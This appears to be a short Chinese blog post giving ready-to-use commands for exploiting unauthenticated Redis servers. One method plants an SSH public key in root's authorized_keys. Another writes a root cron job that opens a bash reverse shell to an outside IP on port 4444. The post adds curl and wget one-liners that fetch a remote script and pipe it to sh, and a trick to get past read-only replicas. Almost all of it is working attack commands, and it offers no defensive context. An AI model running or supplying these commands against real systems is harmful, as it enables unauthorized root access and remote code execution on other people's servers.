redis 未授权访问(写公钥、写计划任务)

写公钥

ssh-keygen -t rsa # 生成key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /tmp/key.txt # 前后加换行
cat /tmp/key.txt | redis-cli -h 59.xx.xx.157 -x set xxx # 连接redis设定键
redis-cli -h 59.xx.xx.157 config set dir /root/.ssh/ # 设置本地数据库存放目录
redis-cli -h 59.xx.xx.157 config set dbfilename authorized_keys # 设置本地数据库文件名
redis-cli -h 59.xx.xx.157 save # 报存

写计划任务执行命令

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/47.xx.xx.96/4444 0>&1\n\n"|redis-cli -h 59.xx.xx.157 -x set 1 #设定值
redis-cli -h 59.xx.xx.157 config set dir /var/spool/cron/ # 设置本地数据库存放目录
redis-cli -h 59.xx.xx.157 config set dbfilename root # 设置本地数据库文件名
redis-cli -h 59.xx.xx.157 save # 报存
# tips: 可以编制好自己sh脚本,直接请求执行就完事了
curl -fsSL http://1.2.3.4/xxx.sh |sh
wget -q -O- http://1.2.3.4/xxx.sh |sh

其他

如果报这个错误(error) READONLY You can't write against a read only replica.那么这时候可能配置了主从,遇到这种情况呢,先执行
INFO replication查看配置情况
然后使用SLAVEOF no one命令清除主从关系即可

如果执行报ERROR错误,怎么解决呢。解决个锤子呢,没权限啊,懂么。

posted @ 2021-05-17 11:29  kidicc  阅读(975)  评论(0编辑  收藏  举报